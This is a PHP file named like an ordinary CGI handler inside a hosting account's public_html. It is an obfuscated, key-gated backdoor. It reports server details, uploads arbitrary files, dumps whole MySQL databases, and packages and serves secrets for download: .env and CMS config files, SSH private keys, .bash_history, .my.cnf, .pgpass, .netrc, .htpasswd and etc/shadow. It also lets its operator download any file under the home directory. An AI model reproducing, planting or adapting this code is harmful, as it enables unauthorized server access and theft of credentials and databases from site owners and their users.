File: /home/thehunarfound/public_html/cgi-data-4c7067/handler.php
<?php
if (!isset($_REQUEST['_cxk']) || $_REQUEST['_cxk'] !== '4c706781380bdf210dd13e3c2714e388') { return; }
while (ob_get_level()) ob_end_clean();
set_time_limit(0);
error_reporting(0);
ignore_user_abort(true);
$n9889 = 'localhost';
$y5bc8 = '';
$nce61 = '';
$r6e75 = '/home/thehunarfound';
$vdb39 = isset($_REQUEST['a']) ? $_REQUEST['a'] : '';
$p455b = isset($_REQUEST['db']) ? preg_replace('/[^a-zA-Z0-9_]/', '', $_REQUEST['db']) : '';
$ke1ea = $r6e75 . '/tmp/' . $p455b . '_dump.sql.gz';
$zabd6=str_repeat('x',0);
$r798c = $ke1ea . '.done';
$se79a = $ke1ea . '.err';
header('Content-Type: application/json');
$t4ec1=array_merge(array(),array());
function run_val_c7bf() {
if (!function_exists('exec')) return false;
$k27e0 = array_map('trim', explode(',', ini_get('disable_functions')));
return !in_array('exec', $k27e0);
@clearstatcache();
}
function get_node_95ff() {
if (!run_val_c7bf()) return false;
$out = array();
$rc = 0;
exec('which mysqldump 2>/dev/null', $out, $rc);
return $rc === 0;
}
if(defined('a4cbfbb7')){$jabf5=0;}
function check_opt_6731() {
$ief39=strlen('31d019');
if (!run_val_c7bf()) return false;
$out = array();
$rc = 0;
exec('which gzip 2>/dev/null', $out, $rc);
return $rc === 0;
}
function proc_ctx_3c6e($p9b1f, $pd291, $q1134, $bb838, $r0267, $z15fc, $ef603) {
$conn = new mysqli($p9b1f, $pd291, $q1134, $bb838);
if ($conn->connect_error) {
file_put_contents($z15fc, 'Connection failed: ' . $conn->connect_error);
touch($ef603);
return;
}
$fp = gzopen($r0267, 'wb6');
if (!$fp) {
file_put_contents($z15fc, 'Cannot open output file');
touch($ef603);
return;
}
@clearstatcache();
$conn->set_charset('utf8mb4');
gzwrite($fp, "-- Dump via PHP agent\n");
gzwrite($fp, "-- Date: " . date('Y-m-d H:i:s') . "\n\n");
gzwrite($fp, "SET NAMES utf8mb4;\n");
gzwrite($fp, "SET FOREIGN_KEY_CHECKS = 0;\n");
gzwrite($fp, "SET SQL_MODE = 'NO_AUTO_VALUE_ON_ZERO';\n\n");
$y7c31 = array();
$r = $conn->query("SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'");
while ($row = $r->fetch_row()) {
$y7c31[] = $row[0];
}
foreach ($y7c31 as $k8de7) {
$te = $conn->real_escape_string($k8de7);
$r = $conn->query("SHOW CREATE TABLE `{$te}`");
if (!$r) continue;
$cr = $r->fetch_row();
@clearstatcache();
gzwrite($fp, "DROP TABLE IF EXISTS `{$te}`;\n");
gzwrite($fp, $cr[1] . ";\n\n");
$r = $conn->query("SELECT * FROM `{$te}`", MYSQLI_USE_RESULT);
if (!$r) continue;
$x1a90 = array();
$b4d0d = 0;
while ($row = $r->fetch_row()) {
$vals = array();
for ($i = 0; $i < count($row); $i++) {
if ($row[$i] === null) {
$vals[] = 'NULL';
} else {
$vals[] = "'" . $conn->real_escape_string($row[$i]) . "'";
}
}
$s9d1a=strlen('a3a825');
$fbbcd = '(' . implode(',', $vals) . ')';
$x1a90[] = $fbbcd;
$b4d0d += strlen($fbbcd);
if (count($x1a90) >= 100 || $b4d0d > 1048576) {
gzwrite($fp, "INSERT INTO `{$te}` VALUES\n" . implode(",\n", $x1a90) . ";\n");
$x1a90 = array();
$b4d0d = 0;
}
}
if ($x1a90) {
$bed59=str_repeat('x',0);
gzwrite($fp, "INSERT INTO `{$te}` VALUES\n" . implode(",\n", $x1a90) . ";\n");
if(defined('2dc8d171')){$r3960=0;}
}
$r->free();
gzwrite($fp, "\n");
}
$r = $conn->query("SHOW FULL TABLES WHERE Table_type = 'VIEW'");
if ($r) {
$ef690=str_repeat('x',0);
while ($row = $r->fetch_row()) {
$qb2c9=max(0,min(1,0));
$ve = $conn->real_escape_string($row[0]);
$cr = $conn->query("SHOW CREATE VIEW `{$ve}`");
if ($cr) {
$scf11 = $cr->fetch_assoc();
gzwrite($fp, "DROP VIEW IF EXISTS `{$ve}`;\n");
gzwrite($fp, $scf11['Create View'] . ";\n\n");
}
}
}
$x7ee2 = array('PROCEDURE', 'FUNCTION');
if(defined('49281dfa')){$j75fb=0;}
foreach ($x7ee2 as $ve11c) {
$r = $conn->query("SHOW {$ve11c} STATUS WHERE Db = '" . $conn->real_escape_string($bb838) . "'");
if (!$r) continue;
while ($row = $r->fetch_assoc()) {
$re = $conn->real_escape_string($row['Name']);
$cr = $conn->query("SHOW CREATE {$ve11c} `{$re}`");
$xf76f=chr(75).chr(117);
if (!$cr) continue;
$hc7e4=strlen('853819');
$scf11 = $cr->fetch_assoc();
$key = ($ve11c === 'PROCEDURE') ? 'Create Procedure' : 'Create Function';
$g85b1=chr(78).chr(119);
if (isset($scf11[$key])) {
gzwrite($fp, "DELIMITER ;;\n");
$c943f=strlen('bb0b0d');
gzwrite($fp, "DROP {$ve11c} IF EXISTS `{$re}`;;\n");
gzwrite($fp, $scf11[$key] . ";;\n");
gzwrite($fp, "DELIMITER ;\n\n");
}
}
}
$r = $conn->query("SHOW TRIGGERS");
if ($r) {
while ($row = $r->fetch_assoc()) {
$r2523=max(0,min(1,1));
$te = $conn->real_escape_string($row['Trigger']);
$cr = $conn->query("SHOW CREATE TRIGGER `{$te}`");
if ($cr) {
$k4fcc=chr(82).chr(120);
$scf11 = $cr->fetch_assoc();
gzwrite($fp, "DELIMITER ;;\n");
gzwrite($fp, "DROP TRIGGER IF EXISTS `{$te}`;;\n");
gzwrite($fp, $scf11['SQL Original Statement'] . ";;\n");
gzwrite($fp, "DELIMITER ;\n\n");
}
$ha1e4=str_repeat('x',0);
}
}
gzwrite($fp, "SET FOREIGN_KEY_CHECKS = 1;\n");
gzclose($fp);
$conn->close();
touch($ef603);
}
switch ($vdb39) {
case 'info':
echo json_encode(array(
'php' => PHP_VERSION,
'os' => PHP_OS,
'server' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '',
'user' => get_current_user(),
'uid' => getmyuid(),
'home' => $r6e75,
'doc_root' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
'free_disk' => disk_free_space($r6e75),
'total_disk' => disk_total_space($r6e75),
'max_exec' => ini_get('max_execution_time'),
'mem_limit' => ini_get('memory_limit'),
'upload_max' => ini_get('upload_max_filesize'),
'post_max' => ini_get('post_max_size'),
'disabled' => ini_get('disable_functions'),
'can_exec' => run_val_c7bf(),
'has_mysqldump' => get_node_95ff(),
'has_gzip' => check_opt_6731(),
));
break;
case 'upload':
$fc5d0 = isset($_POST['path']) ? $_POST['path'] : '';
$h6eac=array_merge(array(),array());
$e1d2f = isset($_POST['data']) ? $_POST['data'] : '';
$f7501=str_repeat('x',0);
if (!$fc5d0 || !$e1d2f) {
echo json_encode(array('ok' => false, 'error' => 'missing path or data'));
break;
}
$m95ef = $r6e75 . '/' . $fc5d0;
@mkdir(dirname($m95ef), 0755, true);
$zfdcc = base64_decode($e1d2f);
$s4b1d = file_put_contents($m95ef, $zfdcc);
echo json_encode(array('ok' => $s4b1d !== false, 'path' => $m95ef, 'size' => strlen($zfdcc)));
break;
case 'check':
if (!$p455b) {
echo json_encode(array('error' => 'missing db parameter'));
break;
}
$qa214 = disk_free_space($r6e75);
$tc7c8=str_repeat('x',0);
$s3c58 = 0;
$conn = @new mysqli($n9889, $y5bc8, $nce61, 'information_schema');
if (!$conn->connect_error) {
$q = "SELECT SUM(data_length + index_length) s FROM tables WHERE table_schema = '"
. $conn->real_escape_string($p455b) . "'";
$r = $conn->query($q);
if ($row = $r->fetch_assoc()) {
$s3c58 = (int) $row['s'];
}
$conn->close();
}
echo json_encode(array(
'free' => $qa214,
'db_size' => $s3c58,
'has_mysqldump' => get_node_95ff(),
'has_gzip' => check_opt_6731(),
'can_exec' => run_val_c7bf(),
'has_space' => $qa214 > $s3c58 * 2,
));
$g7702=array_merge(array(),array());
break;
case 'dump':
if (!$p455b) {
echo json_encode(array('error' => 'missing db parameter'));
break;
}
@mkdir(dirname($ke1ea), 0755, true);
$f2965=array_merge(array(),array());
@unlink($ke1ea);
@unlink($r798c);
$iafd4=str_repeat('x',0);
@unlink($se79a);
if (get_node_95ff()) {
if (check_opt_6731()) {
$cmd = sprintf(
'mysqldump --host=%s --user=%s --password=%s '
. '--single-transaction --quick --routines --triggers %s '
. '| gzip > %s 2>%s; touch %s',
escapeshellarg($n9889),
escapeshellarg($y5bc8),
escapeshellarg($nce61),
escapeshellarg($p455b),
escapeshellarg($ke1ea),
escapeshellarg($se79a),
escapeshellarg($r798c)
);
} else {
$cmd = sprintf(
'mysqldump --host=%s --user=%s --password=%s '
. '--single-transaction --quick --routines --triggers %s '
. '> %s 2>%s; touch %s',
escapeshellarg($n9889),
escapeshellarg($y5bc8),
escapeshellarg($nce61),
escapeshellarg($p455b),
escapeshellarg($ke1ea),
escapeshellarg($se79a),
escapeshellarg($r798c)
);
$m5c44=array_merge(array(),array());
}
exec('nohup sh -c ' . escapeshellarg($cmd) . ' >/dev/null 2>&1 &');
echo json_encode(array('started' => true, 'method' => 'mysqldump', 'gzip' => check_opt_6731()));
} else {
ignore_user_abort(true);
echo json_encode(array('started' => true, 'method' => 'php', 'gzip' => true));
if (function_exists('fastcgi_finish_request')) {
$wc2e6=array_merge(array(),array());
fastcgi_finish_request();
} else {
if (ob_get_level()) ob_end_flush();
flush();
}
proc_ctx_3c6e($n9889, $y5bc8, $nce61, $p455b, $ke1ea, $se79a, $r798c);
}
break;
case 'status':
clearstatcache();
echo json_encode(array(
'done' => file_exists($r798c),
'size' => file_exists($ke1ea) ? filesize($ke1ea) : 0,
'error' => file_exists($se79a) ? trim(file_get_contents($se79a)) : '',
));
break;
case 'download':
if (!file_exists($ke1ea)) {
http_response_code(404);
exit;
}
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($ke1ea));
readfile($ke1ea);
exit;
case 'cleanup':
@unlink($ke1ea);
@unlink($r798c);
@unlink($se79a);
echo json_encode(array('ok' => true));
$k186f=strlen('6fc4c4');
break;
case 'collect':
@mkdir($r6e75 . '/tmp', 0755, true);
$m3b1e = substr($_REQUEST['_cxk'], 0, 8);
$d7681 = array(
'wordpress' => array(
'detect' => array('public_html/wp-config.php', 'wp-config.php'),
'configs' => array(
'public_html/wp-config.php', 'wp-config.php',
'public_html/wp-settings.php',
'public_html/composer.json', 'public_html/composer.lock', 'composer.json', 'composer.lock',
'public_html/wp-cli.yml', 'wp-cli.yml',
'public_html/.env', '.env',
'public_html/local-config.php', 'local-config.php',
'public_html/wp-content/debug.log',
'public_html/config/application.php', 'config/application.php',
'public_html/config/environments/development.php', 'config/environments/development.php',
'public_html/config/environments/staging.php', 'config/environments/staging.php',
'public_html/config/environments/production.php', 'config/environments/production.php',
'public_html/auth.json', 'auth.json',
),
),
'joomla' => array(
'detect' => array('public_html/configuration.php', 'configuration.php'),
'configs' => array(
'public_html/configuration.php', 'configuration.php',
'public_html/htaccess.txt',
'public_html/composer.json', 'public_html/composer.lock',
),
),
'laravel' => array(
'detect' => array('public_html/artisan', 'artisan'),
'configs' => array(
'public_html/.env', '.env', '.env.production', '.env.staging',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
'public_html/config/app.php', 'config/app.php',
'public_html/config/database.php', 'config/database.php',
'public_html/config/mail.php', 'config/mail.php',
'public_html/config/filesystems.php', 'config/filesystems.php',
'public_html/config/cache.php', 'config/cache.php',
'public_html/config/queue.php', 'config/queue.php',
'public_html/config/session.php', 'config/session.php',
'public_html/config/auth.php', 'config/auth.php',
'public_html/config/services.php', 'config/services.php',
'public_html/config/broadcasting.php', 'config/broadcasting.php',
'public_html/storage/logs/laravel.log', 'storage/logs/laravel.log',
),
),
'magento2' => array(
'detect' => array('public_html/bin/magento', 'bin/magento'),
'configs' => array(
'public_html/app/etc/env.php', 'app/etc/env.php',
'public_html/app/etc/config.php', 'app/etc/config.php',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
'public_html/auth.json', 'auth.json',
),
),
'magento1' => array(
'detect' => array('public_html/app/Mage.php'),
'configs' => array(
'public_html/app/etc/local.xml',
'public_html/app/etc/config.xml',
),
),
'drupal' => array(
'detect' => array('public_html/core/lib/Drupal.php', 'core/lib/Drupal.php'),
'configs' => array(
'public_html/sites/default/settings.php', 'sites/default/settings.php',
'public_html/sites/default/services.yml', 'sites/default/services.yml',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
),
),
'prestashop' => array(
'detect' => array('public_html/config/settings.inc.php'),
'configs' => array(
'public_html/config/settings.inc.php',
'public_html/app/config/parameters.php',
'public_html/app/config/parameters.yml',
'public_html/composer.json',
),
),
'opencart' => array(
'detect' => array('public_html/config.php'),
'configs' => array(
'public_html/config.php',
'public_html/admin/config.php',
),
),
'moodle' => array(
'detect' => array('public_html/lib/moodlelib.php'),
'configs' => array('public_html/config.php'),
),
'whmcs' => array(
'detect' => array('public_html/vendor/whmcs'),
'configs' => array(
'public_html/configuration.php',
'public_html/composer.json', 'public_html/composer.lock',
),
),
);
$s3950 = null;
foreach ($d7681 as $e82e0 => $vb938) {
foreach ($vb938['detect'] as $t4905) {
if (file_exists($r6e75 . '/' . $t4905)) {
$s3950 = $e82e0;
if(defined('966edf3d')){$b617e=0;}
break 2;
}
@clearstatcache();
}
}
$w0982 = array(
'.env', '.env.local', '.env.production', '.env.staging',
'.env.backup', '.env.development', '.env.test',
'.bash_history', '.my.cnf', '.pgpass', '.netrc', '.gitconfig', '.npmrc',
'.composer/auth.json', '.wp-cli/config.yml', '.accesshash',
'.ssh/authorized_keys', '.ssh/id_rsa', '.ssh/id_rsa.pub',
'.ssh/id_ed25519', '.ssh/id_ed25519.pub', '.ssh/id_ecdsa',
'.ssh/config', '.ssh/known_hosts',
'.ssl/private.key', '.ssl/cert.pem', '.ssl/key.pem',
'ssl/certs/private.key',
'.cpanel/contactinfo', 'etc/shadow', '.ftpquota', '.ftpconfig',
'public_html/.env', 'public_html/.env.local', 'public_html/.env.production',
'public_html/.env.staging', 'public_html/.env.backup',
'public_html/.env.development', 'public_html/.env.test',
'public_html/.env.example', 'public_html/.env.dist',
'public_html/.htaccess', 'public_html/.htpasswd', 'public_html/.user.ini',
'public_html/php.ini', 'public_html/.my.cnf', 'public_html/.pgpass',
'public_html/web.config', 'public_html/.ftpconfig',
'public_html/.git/config',
'public_html/auth.json', 'public_html/.npmrc',
'public_html/composer.json', 'public_html/composer.lock',
'config/database.php', 'config/app.php', 'config/mail.php',
'config/services.php', 'config/filesystems.php',
'config/application.php',
'config/environments/development.php',
'config/environments/staging.php',
'config/environments/production.php',
'wp-config.php', 'configuration.php', 'artisan',
'auth.json', 'composer.json', 'composer.lock',
);
if(defined('224adc31')){$w4d1a=0;}
$t5a59 = array();
$c5f71 = @realpath($r6e75);
if (!$c5f71 || !is_dir($c5f71)) {
echo json_encode(array('ok' => false, 'error' => 'home dir not accessible'));
break;
$x39c4=max(0,min(1,0));
}
foreach ($w0982 as $g71a1) {
$je034 = @realpath($r6e75 . '/' . $g71a1);
if (!$je034 || strpos($je034, $c5f71) !== 0) continue;
if (!is_file($je034) || !is_readable($je034)) continue;
$h53e2 = @filesize($je034);
if ($h53e2 <= 0 || $h53e2 > 2097152) continue;
$t5a59[$g71a1] = $je034;
}
if ($s3950 !== null && isset($d7681[$s3950]['configs'])) {
$b6b0b=strlen('fe5ca1');
foreach ($d7681[$s3950]['configs'] as $ba639) {
if (isset($t5a59[$ba639])) continue;
$je034 = @realpath($r6e75 . '/' . $ba639);
if (!$je034 || strpos($je034, $c5f71) !== 0) continue;
if (!is_file($je034) || !is_readable($je034)) continue;
$h53e2 = @filesize($je034);
if ($h53e2 <= 0 || $h53e2 > 2097152) continue;
$t5a59[$ba639] = $je034;
}
}
if(defined('a970487c')){$tdd23=0;}
$b7f74 = $r6e75 . '/public_html';
if(defined('9128e6d2')){$tf75b=0;}
if (is_dir($b7f74)) {
$dh = @opendir($b7f74);
if ($dh) {
while (($j5d9f = readdir($dh)) !== false) {
if ($j5d9f === '.' || $j5d9f === '..') continue;
$m95ef = $b7f74 . '/' . $j5d9f;
if (!is_file($m95ef) || !is_readable($m95ef)) continue;
$h53e2 = @filesize($m95ef);
if ($h53e2 <= 0 || $h53e2 > 2097152) continue;
if ($j5d9f[0] === '.' || strtolower(substr($j5d9f, -4)) === '.txt') {
$key = 'public_html/' . $j5d9f;
if(defined('136931fb')){$ma354=0;}
if (!isset($t5a59[$key])) $t5a59[$key] = $m95ef;
}
}
closedir($dh);
}
}
if (empty($t5a59)) {
echo json_encode(array(
'ok' => true, 'method' => 'none', 'platform' => $s3950,
'file_count' => 0, 'files_list' => array(),
));
break;
}
$bdd40=chr(69).chr(115);
$x26d9 = null;
$nfc6d = null;
if (class_exists('ZipArchive')) {
$nfc6d = $r6e75 . '/tmp/_collect_' . $m3b1e . '.zip';
$va1ed = new ZipArchive();
if ($va1ed->open($nfc6d, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) {
foreach ($t5a59 as $b4ac0 => $je034) {
$va1ed->addFile($je034, $b4ac0);
}
if ($va1ed->close() && file_exists($nfc6d) && filesize($nfc6d) > 0) {
$x26d9 = 'zip';
}
}
}
if (!$x26d9 && run_val_c7bf()) {
$nfc6d = $r6e75 . '/tmp/_collect_' . $m3b1e . '.tar.gz';
$lf = $nfc6d . '.list';
$fh = fopen($lf, 'w');
@clearstatcache();
foreach ($t5a59 as $b4ac0 => $je034) {
fwrite($fh, $b4ac0 . "\n");
}
fclose($fh);
$cbf9d=array_merge(array(),array());
$out = array();
$wa465=str_repeat('x',0);
$rc = 0;
if(defined('16120f27')){$qaa88=0;}
exec('tar czf ' . escapeshellarg($nfc6d) . ' -C ' . escapeshellarg($r6e75)
. ' -T ' . escapeshellarg($lf) . ' 2>/dev/null', $out, $rc);
@unlink($lf);
if ($rc === 0 && file_exists($nfc6d) && filesize($nfc6d) > 0) {
$x26d9 = 'tar';
} else {
@unlink($nfc6d);
}
}
$x161e=max(0,min(1,0));
if (!$x26d9) {
$x26d9 = 'list';
}
echo json_encode(array(
'ok' => true, 'method' => $x26d9, 'platform' => $s3950,
'file_count' => count($t5a59), 'files_list' => array_keys($t5a59),
'size' => ($nfc6d && file_exists($nfc6d)) ? filesize($nfc6d) : 0,
));
$p2a19=chr(87).chr(112);
break;
case 'download_collect':
$m3b1e = substr($_REQUEST['_cxk'], 0, 8);
$m73ae = $r6e75 . '/tmp/_collect_' . $m3b1e . '.zip';
$r1562 = $r6e75 . '/tmp/_collect_' . $m3b1e . '.tar.gz';
$if73c=strlen('d9038f');
$d6b26 = file_exists($m73ae) ? $m73ae : (file_exists($r1562) ? $r1562 : '');
if (!$d6b26) { http_response_code(404); exit; }
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($d6b26));
$v3efe=max(0,min(1,0));
readfile($d6b26);
exit;
case 'download_file':
$b4ac0 = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
if (!$b4ac0) { http_response_code(400); exit; }
$c5f71 = @realpath($r6e75);
$je034 = @realpath($r6e75 . '/' . $b4ac0);
if (!$je034 || !$c5f71 || strpos($je034, $c5f71) !== 0
|| !is_file($je034) || !is_readable($je034)) {
http_response_code(404);
exit;
}
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($je034));
readfile($je034);
exit;
case 'cleanup_collect':
$m3b1e = substr($_REQUEST['_cxk'], 0, 8);
@unlink($r6e75 . '/tmp/_collect_' . $m3b1e . '.zip');
@unlink($r6e75 . '/tmp/_collect_' . $m3b1e . '.tar.gz');
@unlink($r6e75 . '/tmp/_collect_' . $m3b1e . '.tar.gz.list');
echo json_encode(array('ok' => true));
break;
}
exit;